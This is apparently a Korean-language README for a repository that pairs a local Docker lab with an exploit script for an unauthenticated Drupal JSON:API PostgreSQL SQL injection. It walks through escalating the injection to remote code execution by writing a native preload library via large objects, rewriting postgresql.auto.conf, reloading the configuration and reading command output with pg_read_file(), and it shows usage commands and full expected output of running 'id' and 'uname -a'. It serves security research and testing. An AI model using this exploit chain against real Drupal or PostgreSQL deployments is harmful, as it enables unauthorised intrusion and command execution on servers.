
Drupal JSON:API PostgreSQL SQL 인젝션에서 네이티브 프리로드 라이브러리를 통한 RCE 익스플로잇. PostgreSQL 12–18+ 권한 상승 경로를 테스트할 수 있는 로컬 Docker 랩을 포함합니다.
이 저장소에는 Ambionics 기사에서 설명된 Drupal JSON:API PostgreSQL SQL 인젝션을 위한 로컬 랩과 간단한 익스플로잇이 포함되어 있습니다.
익스플로잇의 중요한 부분은 PostgreSQL 권한 상승입니다: 인젝션이 PostgreSQL 슈퍼유저로 SELECT 표현식을 평가할 수 있게 되면, 대형 객체를 통해 네이티브 프리로드 라이브러리를 작성하고, postgresql.auto.conf를 다시 로드하며, session_preload_libraries를 트리거하고, pg_read_file()을 사용하여 명령 출력을 검색합니다.
익스플로잇은 먼저 version()을 읽고 감지된 주 버전에 대한 PostgreSQL 모듈 매직 블록을 빌드합니다. PostgreSQL 12, 13-14, 15-17, 18+ 모듈 ABI 레이아웃을 처리합니다. 로컬 컴파일러는 여전히 대상 PostgreSQL 서버와 동일한 CPU 아키텍처용 공유 객체를 생성해야 합니다.
랩은 글 작성 시점의 최신 PostgreSQL 릴리스인 PostgreSQL 18.4를 사용합니다. PostgreSQL 권한 상승 경로는 PostgreSQL 12.20부터 PostgreSQL 18.4까지 테스트되었습니다.
.
├── docker-compose.yml
├── drupal/
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md
랩에서 사용하는 구성:
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
Drupal은 postgres 슈퍼유저로 PostgreSQL에 연결되어 있어 SELECT 전용 SQL 인젝션을 RCE로 확대할 수 있습니다.
docker compose version
python3 --version
cc --version
예시 출력:
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
컨테이너 빌드 및 시작:
docker compose build --quiet
docker compose up -d
예상 출력:
Container cve9082-pg18 Started
Container cve9082-drupal Started
Drupal이 정상 상태가 될 때까지 기다림:
docker compose ps
예상 출력:
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
랩이 수신 대기 중인 주소:
http://127.0.0.1:8089
PostgreSQL 버전 확인:
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
예상 출력:
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
JSON:API가 시드된 아티클을 노출하는지 확인:
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
예상 출력:
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
예상 출력:
Successfully installed requests-...
인증되지 않은 JSON:API SQL 인젝션을 통해 id 실행:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
예상 출력:
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
다른 명령 실행:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
예상 출력:
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
데이터베이스 볼륨은 유지하고 컨테이너 중지:
docker compose down
컨테이너 중지 및 데이터베이스 볼륨 삭제:
docker compose down -v